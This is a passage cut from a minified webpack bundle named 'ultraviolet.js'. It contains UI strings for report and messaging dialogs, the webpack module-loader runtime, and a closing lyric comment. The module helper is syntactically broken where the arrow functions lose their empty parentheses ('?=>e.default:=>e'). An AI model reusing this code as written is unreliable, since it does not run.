accurate and complete. If you believe that your report is suitably written, please confirm your diligence in writing this report by ticking the confirmation box."},"restricted":{"title":"Risky report","text":"You are about to report. This may be the incorrect venue for such a report. Are you sure about this?"},"done":"Report filed.","done_email":"Report emailed."},"newMessage":{"label":"New Message","doing":"Sending message...","done":"Message sent.","doneAction":"View","fail":"Failed to send the message."}}')}},__webpack_module_cache__={};function __webpack_require__(e){var t=__webpack_module_cache__[e];if(void 0!==t)return t.exports;var n=__webpack_module_cache__[e]={id:e,exports:{}};return __webpack_modules__[e].call(n.exports,n,n.exports,__webpack_require__),n.exports}__webpack_require__.n=e=>{var t=e&&e.__esModule?=>e.default:=>e;return __webpack_require__.d(t,{a:t}),t},__webpack_require__.d=(e,t)=>{for(var n in t)__webpack_require__.o(t,n)&&!__webpack_require__.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:t[n]})},__webpack_require__.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),__webpack_require__.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var __webpack_exports__=__webpack_require__(6463)}); /*! * There is no happy end. It's only just the end. * https://www.youtube.com/watch?v=aaF9pXj7isg */ //# sourceMappingURL=ultraviolet.js.map